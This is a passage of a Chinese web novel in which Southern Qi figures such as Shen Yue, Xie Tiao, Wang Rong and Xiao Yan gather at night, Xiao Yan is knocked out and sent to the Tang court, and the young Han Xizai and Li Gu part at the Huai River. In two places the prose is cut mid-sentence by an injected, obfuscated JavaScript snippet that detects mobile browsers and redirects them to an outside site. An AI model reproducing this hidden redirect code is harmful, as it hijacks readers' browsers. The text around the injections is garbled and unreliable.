“小钰快点”,萧子良伸手一拽,将他强行拉走,“我们一边聊天一边爬山很快的,再走一个多时辰就到了。” 朱祁钰:??? 你再说一遍,走多久?! 萧子良一边拖着他爬山,一边给他介绍,这是谁谁谁的厢房,布置得各有千秋:“反正除了陶弘景不在,其他所有的当世名士都住在我家。” 陶弘景是茅山祖师、正式建立了道教体系的人,在后世相当出名,朱祁钰顺带问了一句:“他人在何处?” “在茅山清修呢”,萧子良说,“小钰要见他也使得,他和休文知交莫逆,休文一封信就能叫过来——你应该还记得,剧本里的「我有数行泪,不落十余年,今日为君尽,并洒秋风前」吧?” 朱祁钰心领神会:懂了,就是说你搞不定的人,沈约可以搞定是吧。 …… 世人提起沈约,最津津乐道两件事。 一是他惊才绝艳,冠绝天下,年纪轻轻,已经成为了当世的文坛领袖。 至于第二点嘛…… 沈约是个极其出名的美男子。 时人甚爱之,往往不称其姓字,呼之以「沈郎」。 更有些好事者,将他和二百年前「貌比潘安」的那位潘岳,放在一起并称,合为「潘沈」。 此刻,在西邸位置最好的一间厢房里,沈约正剪亮烛火,铺纸研墨,准备写新诗。 青年容色明艳,眉目清皎,萧然不沾凡尘。 那一抹摇曳的烛光,倒映在他清澈的眼眸中,好似明月逐波心,顾盼生辉,凝望含情,照彻了一片湖光静谧流淌,融尽了天地山川亘古如斯的寂寞底色。 “嘎吱。” 沈约刚写完这一首,就听见院中的推门声,不觉一怔:“是玄晖吗?” 谢脁比他小几岁,作为他在竟陵王府的邻居兼好友,进门向来是不打招呼的。 小少年宛若游魂一样飘进来,目光涣散,面上犹带点点泪痕,一来就默不作声地伸出手臂,将他紧紧一抱。 沈约反应很快,及时撤走了砚台,却还是被他打翻了笔,墨迹在纸上晕染了一大团。 他有些无奈,拍了拍挂在自己身上的小月亮,温声问,“怎么了,这么不高兴?” 谢脁长睫垂落,小声说:“白日参加了太子的葬礼,心中很难过,于是就来看看你,我怕什么时候你也不见了……” 沈约心下怜惜,知道他第一次见到朋友的生离死别,难免伤情,便拉着人在身边坐下,温声安抚。 “才不会呢,莫要乱想,我们一定都能平平安安长命百岁。” 他安慰了许久,谢脁还是不见一点笑影,这让他有些无奈,决定写一首新诗哄一哄好友。 写什么题材呢? 当然是吟咏月亮了。 谢脁的「脁」,是月兆,朔日所见、月华初露的明月之征。 而他的小字「玄晖」,也是月亮,最皎洁无瑕的清辉月华。 所以,他就是明月,是一个让人第一眼看上去,就觉得月光洒满了怀中的人。 要是李殷殷在此,高低得跟两人掰扯一下,谢脁这位小月亮,究竟是怎么成为后世最强诗人的白月光的。 李白在诗中写过很多次月亮,但他只有谢脁这一个白月光。 白纻青山魂魄在,一生低首谢宣城。 不仅一生追随谢脁的足迹抵达过许多地方,就连去世了,都葬在谢脁故宅旁边,守望终年。 沈约写完了诗,递给谢脁。 小月亮眨眨眼,看完诗,终于有点高兴起来:“唔,郎君的诗,历数过往百年所无,一定能文坛独步,青史流芳。” 沈约弯唇笑了笑,想起二人发明的永明体:“想来我们的名字定会在史书上并列。” “真好”,谢脁也笑了,“是我沾你的光。” 他没忘记自己的来意,伸出手,要沈约和他勾指起誓,一边不住地念叨说:“沈郎,你可不能像太子一样消失掉,我们都要好好的,活到永明体大放光彩的那一天,绝不能食言。” 沈约且笑且叹,紧握住好友的指尖:“好,我答应你。” 谢脁得到他的保证,高兴了,秀丽眉眼弯成了月牙。 他的笑声也是清澈温软的,像江南三月轻叩帘陇的春雨,纤然飘落:“那说到做到哦,我天天都来监督你。” 少年人时常觉得一瞬就是永远,仿佛有一生那么长。 沈约又怎能想到。 日后谢脁会英年早逝,死时,在狱中给他留了一封染血的遗书:“嗟岁晏之鲜欢,曾阴默以凄恻,彼知己之为深,信怀之其何已……” 谢脁留在了《南齐书》,而沈约作为开国功臣入了《梁书》。 生前是挚友,寄江海于寸心,死后却分隔在两本史书中,千秋万古不相逢。 正在此时,院中传来了咚咚咚的敲门声,是王融的声音:“休文,我来弹琴给你听了!” “那我先避一避。” 谢脁抹了一把脸,发现还带着点泪痕,觉得不宜见人,于是,果断爬上床塌,安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809638|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 详地往被子里一躺。 沈约:“……” 对此,他也只能说,你开心就好。 王融今天来,是因为在葬礼上听了很多的挽歌,作为音乐大师的职业病发作,想到了一首新曲子,要请沈约品鉴。 “好呀,元长请”,沈约欣然同意,为他收拾出一块空地。 “先找个地方放一下。” 他这里书太多,王融犹嫌施展不开,抱起一摞书,直接摆到了床上,险些给平躺在榻上的谢脁来了一通泰山压顶。 谢脁急忙往里面躲了躲。 王融拨弦弹奏,沈约安静倾听,不时拂手纠正一两个音符。 他精通音律,所以才能改革诗词韵律,成为后世格律诗、以及所有唐诗的始祖。 弹了小半柱香功夫,忽听门外一阵脚步声响起。 萧衍拖着木头小板车,在庭院里横冲直撞,一路轰隆隆过来了。 “休文”,他扬声道,“上次你说想要的孤本珍籍,我已经找到了。” “我去避一避”,王融和萧衍一贯合不来,根本不想同这家伙打交道,于是一转头,就瞄上了谢脁的床榻。 沈约赶忙阻止:“元长,等等!” 话音未落,王融已经动作麻利地将书挪开,一把掀开被子,和藏在里面的谢脁不偏不倚,正好对上了视线。 王融:“……” 谢脁:“……” 这都叫什么事啊,他不高兴地哼了一声:“先来后到,你到那边去。” 王融只好挪步。 他刚在窗帘后面把自己藏好,萧衍已经走了过来,手里的小板车装了满满几大筐书箧,足足数百本,堆叠在一处,蔚为壮观。 都这么晚了还来呀,沈约有些惊讶。 忙迎他进门,顺手拂去了对方肩上不知何时沾上的清冷夜露,温声道:“外面冷,阿练快坐。” 萧衍看着他,扬眉轻笑一声:“你上次说有意修三代史,我收集了一些前人的资料珍籍送来,或许能派上用场。” 沈约眼眸一亮,嘴上谦虚地说着“这如何使得,阿练收集这么多书很费心思吧,如此深情厚谊让我何以克当”,手上动作却一点都不慢。 先是给萧衍煮了一壶茶,而后,便着手拾掇起来,将这些书依次规整,分门别类地整理好。 萧衍单手支颐,微笑看他忙活。 沈约动作轻缓,衣袂翩然,素白指尖拂过那些晕染着淡淡烛光的墨痕字迹,仿佛轻轻拨动了夜色的琴弦,细密的长睫微颤,震碎了一缕纤细的月光。 一天明月凉如水,漫过窗边梅影斑驳,静照在他眉边发上,将那张面容描摹得愈发清丽无双。 室内弥漫着茶烟,袅袅飘飘,就这么沐浴着月光相对而坐,确实会让人生出一种岁月静好的感觉。 萧衍经常来找沈约,就是觉得对方身上有一种明净澄澈的气质,能让他这样干谒练达、满心经纶世务之人,心中为之一清,如遇空山新雪,世外净土。 所以,他和王融属性相似,都是积极入世者,相看两厌,二人却都和沈约关系很好。 他收回视线,打算找本书看看。 好些孤本直接给沈约送来了,他自己压根没看过呢。 沈约却将他安排得明明白白,递来一支笔、一张纸、一本书:“阿练,快帮我抄录一下这篇文,就三千字,今晚应该可以抄好。” 萧衍满头问号:??? 就三千字? 现在三千字都可以用「就」来形容了? “阿练帮帮忙”,沈约双手合十,清亮的眼瞳中盈满了笑意,“阁下书法流畅妍丽,为世冠冕,不亚二王,我简直不敢想象如果每天晚上能看见这篇你手抄的文章,会有多么开心!” 萧衍:“……” 他感觉自己被好友套路了,但是又没有证据。 只能叹了口气,反手抽出一张空白纸:“行吧,我现在写。” …… 另一边,萧子良折腾半天,终于自以为避开了别人的耳目,爬上了山顶。 他在外面咚咚咚敲门:“休文,你在家吗?本王来找你了!” 沈约:“……” 他甚至来不及说出拒绝的话,萧子良就已经打完招呼,准备进来了。 萧衍觉得,竟陵王过来看见这么多书不好解释,就打算找个地方藏起来。 藏哪里呢? 他掀开被子,和谢脁打了个照面;转头拉开帘幕,又和王融面面相觑。 萧衍:“……” 一时间,他回头看沈约的眼神都变得不对劲了起来。 沈约扶额,不明白好好一个夜晚怎么就变成这样了:“你听我解释,这件事情不是你想的那样……” “那我先记在账上”,萧衍看似冷静,实则走了有一会了,“回头再听你狡辩。” “你还想要解释?” 王融大怒,从帘幕后边发出一道咆哮:“要不是你深夜过来打扰,我现在琴都弹完了,何至于只能躲在这个地方!” “分明是元长你的问题”,谢脁撇撇嘴,不高兴地说,“我们本来在一起写诗吟咏月亮的,是你非要过来弹琴打断我们。” “我看你们两个问题都很大”,萧衍冷哼一声,“听别人的墙角听得愉快吗?” 对面两人勃然大怒,眼瞅着就要吵起来。 沈约连忙温声抚慰道:“各位消消气,千错万错都是我的错,正月白风清,值此良夜,为这点小事生气不值当。” 萧衍点点头,强行按捺了火气:“好。” 他少习弓马,估摸了一下天花板的高度,沿着立柱三两下飞跃上去,不惊起一点尘埃。 刚在房梁上藏好,萧子良就带着朱祁钰进来了。 “休文,我来啦——” 在正式见面之前,他蕴酿过很多腹稿,但真正一见到这人,对上那双清亮如水的眼眸,便什么都忘了。 萧子良想起他的结局,心中漾满了悲伤。 永明年间这么多人,除了梁武帝,就只有沈约活到了最后。 这也就意味着,他要目送所有的朋友离去。 故友或病逝、或冤杀、或鸩死、或流亡…… 终于一一相离长诀,奔赴茫无涯际的幽冥尽头,只有他被一个人抛在了生命的另一侧,从此天渊永隔。 他这一生,充满了无数痛彻心扉的别离。 一卷《沈侯集》,逾半都是悼亡诗。 沈约啊,是那个亲眼见证过繁花炽烈的盛景,又在一切灰飞烟灭后,当风试图握紧最后一缕余烬、挽留最后一缕余温的人。 梁朝天监年间,有一次开宫宴,一名女乐师是竟陵王府旧人,彼时已朱颜落尽,白发苍苍。 天子问:场中有谁是当年宴上旧相识? 女乐师说:只识沈尚书。 沈约闻言,伏座泪流,天子亦怆然,为之罢酒。 “十年来,深恩负尽,死生师友”,说来不过轻飘飘一句话。 可对于亲历者而言,又是怎样剜心刻骨的至深悲凉? 命运何其残忍呢,这个时代最惊才绝艳的人,最后却以最凄凉落寞的方式离世。 萧子良紧握住沈约的手,半晌没有说一个字。 沈约担忧地看着他:“殿下?” 萧子良定了定神,如同发誓一般,轻声许下了一个诺言。 “休文,你这一生会写很多很多美丽的诗篇,会名动天下,会描摹每一处山水星河,会受很多人景仰,也一定会——平安无事,中夜展眉。” 沈约有些惊讶,但还是轻笑着说:“谢谢殿下。” 萧子良事无巨细,一一道来,说自己如何如何进了万朝食肆,又说起,过些天要去大明景泰朝旅行。 “只有一个旅行的名额,你可千万不能让别人知道”,他仔细叮嘱道。 想了想,又特别强调了一番,“尤其是玄晖元长阿练,一定要对他们守口如瓶,不然他们会闹的。” 锦被底下的谢脁:“……” 房梁上面的萧衍:“……” 帘幕后边的王融:“……” 嘿,殿下你猜怎么着,我们已经全都知道了! 18. 第 18 章 面对如此史无前例的修罗场,沈约沉默了。 饶是他一贯擅长端水,游走在许多朋友之间从未出过纰漏,一时也不知该做何反应。 萧子良见好友面色迟疑,还以为是因为自己深夜打搅所致。 忙体贴地握住对方的手,温声道:“休文累了吗?快歇下吧,动身出行还要再过一两日,不急。” 说着,端起烛台,俨然一副要目送他入睡的架势。 谢脁还在被子里躺着,沈约哪敢睡觉,断然谢绝了这个提议:“正月上中天,良宵方至,怎么好去休息?” 说的也是,萧子良认可地点点头:“既然如此,那你我秉烛夜谈,并肩赏月便是。” 一边就要拉开窗帘,让月光毫无遮挡地照入室内。 “云英”,沈约赶忙拉住他,牵着他的手往外走,“隔窗赏月,不如到庭中见月,你且与我同来。” 萧子良自然是点了点头,又提出了一个绝妙的建议:“那我们正好爬到房顶上饮酒对月,吟咏作诗?” 可是,房梁上还有人…… 他究竟如何做到,每说一句话都能踩一次雷的啊,沈约惊愕不已。 二人在这边掰扯,朱祁钰安安静静待在一边,翻看沈约案头的诗作。 这位可是名垂青史的大诗人。 他与谢脁合力搞出来的「永明体」,也是所有格律诗的鼻祖,更是影响了往后历朝历代的诗文创作。 纸业间的字迹清隽灵动,不染尘俗气,仿佛隔了万重山水望入一双清瞳。 朱祁钰看着,顿时生出了一种见证历史的感觉。 一卷看完,拨亮了烛火,正好抬头和帘幕后面的一道人影对上视线。 王融:!!! 救命,早知道就不趁他看书,偷偷出来透气了! 朱祁钰:!!! 刹那之间,他头脑一片空白,第一反应还以为遇见了刺客,下意识推开书案,长身站起:“你是何人!” 萧子良已经走到了门外,准备到房顶上看月。 听见这一声,又回过头看了一眼,万分惊愕地说:“元长如何在此?” 王融见自己已经暴露,不再躲闪,对周围冷笑一声道:“今夜何止我在此处,还有两位,请一并出来吧!” 片刻之后,谢脁揭被而起,长发散落如云,虽衣襟凌乱,不掩风姿绝艳。 萧衍身影利落,从横梁上一跃而下,稳稳落在地面。 很好,人都齐了。 萧子良望着这一幕,又想起自己先前说的话,当真是眼前一黑。 他紧握住沈约的手,从牙缝里挤出一句:“休文,你这、里、挺、热、闹啊!” 啊这,沈约目光游移,看天看地,就是不看萧子良,十分无辜地说:“殿下,他们和你目的一样,都是来找我来秉烛夜谈的,我也不能把人赶出去,对不对……” 朱祁钰:?笑死。 这什么场面,真没见过,赶快掏出魔法手机存个照片。 以后画面的每一帧,都将成为萧云英无法抹去的黑历史。 萧子良气也不是,笑也不是,待要数落沈约两句,更是根本舍不得。 最后,只能无奈抬起手,捏了捏他的脸:“你应当一开始就说清楚有旁人在,闹成现在这般,让我如何收场啊。” 话音未落,王融语调凉凉地接了一句:“今日要是不来,焉能知道殿下偏心至此,出游只打算带休文一个人?” 萧子良一听他的语气,就觉得大事不妙,连忙扯住对方衣袖,放软了声音解释道:“并非我偏心,只是名额有限,一次只能带一个人。” “哦”,王融表示理解,点了点头,“只能带一个人,所以带休文。罢了,他是天边明月,光芒万丈,我是涧底春冰,一钱不值。” 这么幽怨的腔调是闹哪样啊,萧子良头痛不已:“你休要胡说!” 正准备拿出上司的架势,让他安静下来,听自己安排。 但转瞬,他就想起了王融历史上的结局。 想起王融发动政变,欲扶立他为君失败,当众褪去戎服,对自己说的那一声“公误我”。 也想起他在萧昭业登基后,被囚困在幽狱,啮指为书,让自己救他,而自己多方周旋,终究无能为力。 《南齐书.王融传》,漫漫数千字。 从出生记叙到死亡,每一节每一段都离不开萧子良。 说他对王融引为知己,生死之交,说他们一起做过很多事,诗文、弓马、雅集,各种出谋划策。 用了这么一句话来形容,“子良(与融)特相友好,情分殊常。” 然而,这一段被引为佳话的相知,终究走向了怨怼决裂的结局—— “公误我。” 琅琊王氏这一代最惊艳的相门公子,死在了风华最好的年纪,死时,只有二十七岁。 在生命的最后岁月里,他一个人独坐囚牢深处,回顾自己的这一生,是不是在后悔当年的相遇,后悔加入竟陵王府呢? 有些念头,光是想一想,就足以让人万箭穿心了。 萧子良叹了口气,拍了拍王融的手,神色和煦中隐带着一丝哀伤:“是我对不住你,你想去就去吧。” 又问:“小钰,你那里是不是还有一个名额?” 结果一扭头,发现朱祁钰和沈约两个人排排坐,正在边嗑瓜子边看戏。 咔吧,咔吧,声音很是清脆。 沈郎君十分美丽,但没得良心。 他微微一笑,好似清风霁月,见萧子良视线望过来,甚至挥手打了个招呼:“嘿?” 这就嘿起来了,萧子良大怒,手径直伸过来:“哪来的瓜子?!” “前两天在集市新炒的,就只剩最后一小包了”,沈约给了他一把刚剥好的瓜子仁,又匀了一半给朱祁钰,“景帝陛下,给你。” “谢谢休文”,朱祁钰笑眯眯地接受投喂。 照常理而言,每名跨位面旅行的饭友都可以携带一人。 但他这次是返回本位面,名额自然用不上,正好可以给王融。 但问题在于……. “你把王融带上了,那谢脁和萧衍呢?” 谢脁捉住萧子良的衣袖晃了晃:“是啊,还有我呢?” 萧衍抬手摸了摸剑,似笑非笑道:“以及我呢?” 萧子良心头浮现出一个大大的危字,沉默半晌,转头看向朱祁钰:“小李东阳那里是不是还有一个名额?先借来用用。” 他甚至还卖力地吆喝道:“小钰你看,你有浙江情结,喜欢和浙江人打交道,玄晖正好是浙江会稽人,这不是完美契合吗?” 朱祁钰听得一头黑线:“谢脁是浙江会稽人没错,又不是浙江杭州人!” 萧子良若有所思:“所以,你真有杭州情结?” 朱祁钰:“……” 从他的面色上来看,他这一刻大约是想友尽的。 萧子良灵机一动,继续道:“玄晖是千古才子,诗坛白月光,后世无数诗人的偶像……” 朱祁钰本想说,又不是他偶像,跟他有什么关系。 但转念间,他就想起了谢脁那数目庞大且阵容豪华的粉丝团。 其中,有一个粉丝叫李白,有一个叫杜甫,还有一个叫岳飞。 岳飞唯一传世的行书真迹,就是写的谢脁「澄江静如练」那首诗。 后来,本朝开国元勋徐达甚至还在后面加了一段跋,同样表达了对谢脁这首诗的喜爱之意。 当然更关键的是…… 文天祥(AKA于谦前世)也是谢脁的粉丝啊,曾抱琴来到谢脁的宣城故宅,临风弹奏一曲。 他望着千古如斯的山水风光,心想,要是小谢你还在,愿意和我共弹一曲,该有多好呀: “寥寥南楼月,至今有遐音。千年一邂逅,共调风中琴……” 朱祁钰想到这里,一下子就热情了起来:“玄晖快请,这个名额朕出了。” 小少年扬起脸,对他展颜一笑,明眸中漾满了澄净星芒:“谢谢景帝!” 朱祁钰心情很好:“不必客气,欢迎来大明,朕到时候给你介绍个人。” …… 萧子良面对萧衍的时候,内心就比较复杂了。 梁武帝虽然篡了他家的江山。 但是,按照南齐末年的乱局,萧鸾及其好大儿萧宝卷,把朝野百姓折腾得一片乌烟瘴气、民不聊生…… 梁武帝改朝换代,拨乱反正,不仅没做错,反而是大大的有功。 萧子良并非不讲道理。 他虽然是萧衍的旧主和故友,但对方起兵的时候,他都去世快十年了,总不能要求人家为他守节一辈子吧。 如今的萧衍,文武双全,锐意雄才,何等的年少飞扬、意气风发。 结果,皇位上五十年一过,奄奄一息如风中残烛,往作死的深渊一路狂奔,甚至搞出了侯景之乱。 萧子良初次读到这一幕的时候,内心充满了割裂感。 漫长的岁月就这样彻底消磨了一个人身上所有可贵的品质,世事无常,莫过于斯。 所以,年少的萧衍和史书里的梁武帝,确实是截然不同的存在。 但坏就坏在,萧子良之前和萧衍的关系确实很不错,就算这些未来之事尚未发生,也如一片素雪中陡然滴了一团墨汁,让人心里膈应得慌。 凭什么哦。 凭什么他就要大度地全盘接受,而后待萧衍如初哦。 他虽然不会给什么实际性的惩罚,难道还不能使使小性子吗? 像萧子良这样一直沐浴在家人们的满满爱意中长大的人,是很任性、经常恣意妄为的。 他心里实在不舒服,对萧衍便也没有好脸色:“哼,汝梦呓哉,还想一起去后世玩?依我看,在建康城郊外踏青郊游最适合你!” 萧衍:??? 他被怼得一脸懵逼,小心翼翼地伸出手,在萧子良额前探了一下:“殿下可是今日为文惠太子送殓,大悲之下精神失常了?” 萧子良:嗨呀,更气了! 你才精神失常了呢,你晚年最精神失常! 此刻,他忽然收到了一条消息: 【平阳公主:竟陵王在吗?本朝想借萧衍一用,价格好说。】 萧子良一怔:“你打算如何借?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812220|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 平阳公主回道:“聊天框里左上角,有一红包功能。” “根据我在大唐的多次尝试,该功能只能用来发送死物,且长宽高不得大于三尺。但方才问了店主,如果是重度昏迷之人,折叠到三尺范围之内,似乎也可以传送……” 重度昏迷! 萧子良眼前一亮,正好可以治一治萧衍! 但萧衍毕竟是他的朋友,他不希望对方遭到什么非人待遇,于是追问了一句:“你们能保证他的安全吗?不可以虐待他,还有,什么时候把人还回来?” “殿下放心”,平阳公主再三保证,“这事一本万利,风险几乎等于无。” 萧子良终于答应下来。 他收起手机,沉吟半晌,忽然握住萧衍的肩膀,露出一个灿烂的笑容:“阿练,你真的很想去后世旅行对吧?” 萧衍诚恳地点点头:“还望殿下成全。” 忽听咣当一声,一块板砖径直砸下,往他的后颈处招呼。 而后,又是咣咣几拳,径直照着脸打。 他震惊地看向萧子良,眼神是全无防备的茫然,手无力地在半空中伸了伸:“殿下……” 萧子良嘻嘻一笑:“你莫怪我心狠,是你自己说要去旅行的。放心,回来我给你带好吃的。” 他用了很大的力气,一半为了完成平阳公主的嘱托,一半是泄愤。 一通操作猛如虎,终于把萧衍彻底弄昏过去,塞进了红包。 …… 大唐武德位面。 平阳公主解开红包,把昏迷的青年萧衍拖出来,交给了少年李世民:“人已经给到,剩下就看你的发挥了。” 李世民准备用萧衍去招降他的子孙、梁帝萧铣。 这家伙为人素无野心,不过是赶鸭子上架当了皇帝,却又地盘广阔,和大唐直接接壤。 把老祖宗送过去管教他一番,不怕他不服帖。 虽说,真要动兵把萧铣拿下,也并不费太大功夫,但能兵不血刃解决,岂不美哉? 依照他们分析出的萧铣性情,大概率会听从这个年轻版本萧衍的话。 还有流亡突厥的萧皇后,这位也是萧衍的直系后人,也可以让萧衍去活动一下。 成不成两说,无论如何,试一试总是没错的。 宇文宪看完整个流程,嘴角抽抽,心说大外孙的操作好生邪门啊。 此事告一段落后,平阳公主继续清点从东宫、齐王府等各处抄家来的资产。 钱粮是够了,但人才非常缺。 毕竟,她能看上的人,在这个时代都已经声名鹊起,功名利禄样样不缺。 哪里愿意抛下一切,追随她穿越数百年,来到后世的时代重新开始。 这种情况下,平阳公主只好让舅姥爷能者多劳了! 舅姥爷不仅是原大周、现大唐战神,还擅长治理民生、照抚百姓,可谓全能! 最重要的是…… 理论上来说,舅姥爷可以全天无休工作。 只需要在他累的时候,直接在面板上给身体数值全部调到圆满就好了! 决定了,等会就给舅姥爷加官枢密使节度使兵部尚书吏部尚书征北大将军,从此,通宵达旦,夜以继日地干活,一人更比百人强! 宇文宪:“……” 救命,磨坊的驴也不敢成天这么拉啊! 自家外孙女使唤起人来,是真的一点都不客气! 平阳公主给舅姥爷安排完任务,正琢磨着,该到哪里再去挖一些新人才,忽见手机屏幕一亮。 【店主仙人李殷殷:速来,我为你推荐一名靠谱的良相人选。】 天啦噜,平阳公主哇地一声哭出来,感动极了:“店主真的对我太好了!” 李殷殷:嘿嘿,给漂亮小姐姐帮忙的事,能不好么。 事不宜迟,平阳公主赶紧叫上宇文宪,一同出发。 …… 到万朝食肆的时候,有两位新顾客,正坐在窗前对饮。 两人都是少年,且关系亲密,正倾杯叙谈。 一者气宇轩昂,胸怀不羁,眉目傲岸,自有一种锐利坦荡的英侠之气; 一者温文尔雅,青衫缥缈,怀抱一卷书,好似扎根在灵山秀水间的猗猗青竹。 “哇,真的是平阳殿下哎!” 二人听见脚步声,都一下子跳起身,眼睛放光地看向来人。 平阳公主没想到这里居然有两个人,沉吟半晌,毫不犹豫地说:“二位都是店主说的良相人选吗?店主仙人,我愿受累些许,将他们两个都收了。” 噗,李殷殷觉得她想得还挺美。 她摆了摆手道:“其中一位已经有命中注定的明主了,至于另一位,你可以试着挖挖看。” “他二人,乃是少年知己,生死至交,无奈因为种种命运使然,只能临江分别,各奔南北。” “后来,分别成了南北两国的宰相,都想一统天下。” “一个建言北伐,却因被君王所忌,郁郁而终,另一个发动南征,却天不假年,和他的君王先后英年早逝。最后,二人都葬身于乱世,没能见到天下复归一统的那一天。” 19. 第 19 章 后唐同光四年,正阳渡口。 月色如银,水波摇荡,两个少年正坐在船头对饮。 这里是淮水汇聚之处,后唐与南吴两国,隔水相望。 追兵已经被远远地抛在了身后,过了此关,就是南吴,韩熙载也就逃出了生天。 韩熙载在这一年高中进士,后唐庄宗李存勖亲自拔擢,青眼有加。 本自春风得意,不料,一朝兴教门之变爆发,庄宗身死,明宗篡位,他也跟着倒了大霉。 父亲韩光嗣曾在青州担任节度使留后,被明宗借故诛杀。 韩熙载全家皆遭到屠戮,只有他一个人逃了出来,一路隐姓埋名,流浪到淮水边,打算趁夜奔吴。 然而,去往吴国的这一路上,处处都有重兵把守,十里一天堑,很多人都在搜捕他,要斩草除根。 万般无奈之下,他只好求助好友李谷。 他从相门贵公子沦落到流亡逃窜之徒,短短几个月,饱尝人间辛酸冷暖,被人举报过、出卖过,颠沛流离,凶险四伏。 这一次,倘若再不顺利,就只有一死。 他把自己的命运交到了李谷手上。 李谷果然没有辜负他的信任,明知情况极端危险,还是赶来救了他。 随后,二人化为商人打扮,风餐露宿,潜行赶路数百里,来到了正阳渡口,在此分别。 夜色低垂,长风吹衣,一轮澄澈的明月照在淮水堤岸之上,木叶低摇,清流急湍,仿佛无数的星子在水中沉沉浮浮。 韩熙载往北看,就是中原。 纵然地域辽阔,千里万里,却没有他的一处容身之地。 往南看,就是南国,他从未抵达过的地方,同样危机莫测, 他将在那里抛下一切,孑然一身,从头开始。 他紧握着酒杯,想起满门血债,和倒在腥风血雨中的一位位亲人,沉静眼眸中倏然绽开了冷焰。 对着万里江天,起誓道:“此去南吴,若能为相,来日必定长驱以定中原,以报我家血仇!” 李谷抬眸看了他一眼,忽然也举起杯盏,回了一句:“日后,北国若用我为宰相,我必会南征平定江南,一统天下,如探囊取物尔!” 他和韩熙载不一样。 韩熙载是个纤弱文人,博学多才,弱冠周游京华,以学识与行文著名。 李谷却身长八尺,谙习弓马,少年便颇有游侠之风,纵横四野,既重情重义,亦有鲸吞天下的野心。 他已决定留在纷乱的北方,这里才是最适合他发挥的平台。 二人轻轻碰杯,都一饮而尽。 此夜,淮水风涛呜咽,如同作答,也仿佛见证了两位少年挚友的誓言。 李谷觉得气氛有点过于沉闷,忽然皮了一下:“今当远别,熙载何以赠我,使我睹物思人?” 韩熙载:“……” 这句话,是前秦丞相王猛打算除掉慕容垂的台词,此刻,好像有谁的棺材板按捺不住了。 他反手掏出一把金刀……错了,是随身带的佩刀,作为信物,递给了李谷。 “珍重。” “珍重”,李谷也把父亲留给他的一个护身符拿出来,挂在了好朋友的颈间。 谁也没有说出再见的话。 因为今日一别,本就遥遥无定,再无相见期。 小舟中,一夜无话,把酒至天明,而后各自背道而驰,一个往南,一个留北。 在原历史上,终此一生,都没有再重逢。 …… “真的可以看到未来命运吗?” 万朝食肆中,少年韩熙载和李谷刚道完别,就被一起传送到了这里。 二人:“……” 感觉好像分了个寂寞! “当然可以。” 李殷殷手一挥,两本定制版的人生剧本出现在他们面前。 淮水一别后,李谷留在北方,历仕后唐、后晋、后汉、后周四朝。 曾一度被契丹人俘虏,囚困幽狱数年,经历过多次严刑拷打至濒死,但始终不屈。 耶律德光爱其才,终按捺住了杀心,辽世宗耶律阮亦对他青眼有加,欲封他为南面汉官之首,亲口说「卿日后可为宰相」。 李谷只要点头,前方就是一条青云直上的康庄大道。 但他没有。 因为他知道,汉贼不两立。 所以选择了单骑出逃,一路流亡至恒州,在这里定计起事,拨乱反正,驱逐辽军,重新立起了汉家旌旗。 然而,中原的新主、后汉高祖刘知远,很不喜欢李谷。 昔年,契丹悍然入侵中原,占领汴京,故臣皆望风而降。 这投降的人中,就包括当时的河东节度使刘知远。 耶律德光大喜过望,认他为好大儿,还赐给一根木拐。 一片寂静中,唯有李谷斩杀契丹使,歃血誓师,起兵磁州,以孤独的一地之兵,对上了契丹举国南下的虎狼之军。 很快,就收复了军事重镇安阳。 他修书给刘知远,请求对方出兵配合,刘知远置之不理。 加上安阳城内有叛徒出卖,里应外合,就这样被契丹人活捉了去。 如今,李谷竟然从契丹监狱里活着回来了,刘知远看在眼底,恨在心中。 李谷的名声实在太高了,他不敢杀,于是就冷处理,排挤出中枢朝堂,打发到边境去当刺史。 这就是李谷的前半生: 在后唐中进士,在后晋遭到权奸排挤,在契丹数载炼狱折磨,在后汉受尽帝王冷眼。 后来,他终于等到了自己的明主,周世宗柴荣。 柴荣即位的第一个月,他就官拜宰相。 从此,披文握武,出将入相。 居庙堂之中,则掌制典故、知人荐士、光朝振野;居军营之地,则跃马挽弓,亲率军队,纵横披靡。 淮阳百姓数千人感其恩义,请求为他立生祠。 柴荣两次征伐南唐,李谷作为首谋,不仅力排众议,支持柴荣亲征,自己也带病随军出征,尽取淮南之地。 这时候,他因为早年被契丹人迫害,身体已经非常不好,无法再上战场,只能回朝养病。 柴荣特赐肩舆,时常亲自造访府邸,讨论政事。 枢密使王朴也经常去李谷府上,二人把酒畅谈,很是其乐融融。 时人就把他们放在一起并称,“(王)朴能荐士,(李)谷能知人”。 柴荣将两个人的画像都挂进了宫中功臣阁,每天看,每天看,还让子孙以后逢年过节,都要进行祭祀。 显德六年,王朴有一回散朝,如往常一般,来到李家聊天,忽然发病倒在了地上,就此不治身亡。 柴荣很是悲痛,临葬大哭。 李谷伤心于朋友亡殁,更觉得良相离开、国运堪危,随后也病情加重,回到了洛阳静养。 当年七月,柴荣北伐途中病重,班师归来后驾崩。 次年正月,赵匡胤发动陈桥兵变篡周,遣使往洛阳,欲以高官厚禄,招抚李谷。 李谷闻亡国,忧愤成疾,遂病逝。 至死并未仕宋,不肯奉宋之正朔,遗书只称「显德七年」。 大周最后的宰相,和这个王朝一同埋葬。 他一生仕过唐、晋、汉、周四朝九帝,流落如飘蓬,却在人生的末年,认定柴荣就是自己的归宿,献上全部的忠贞。 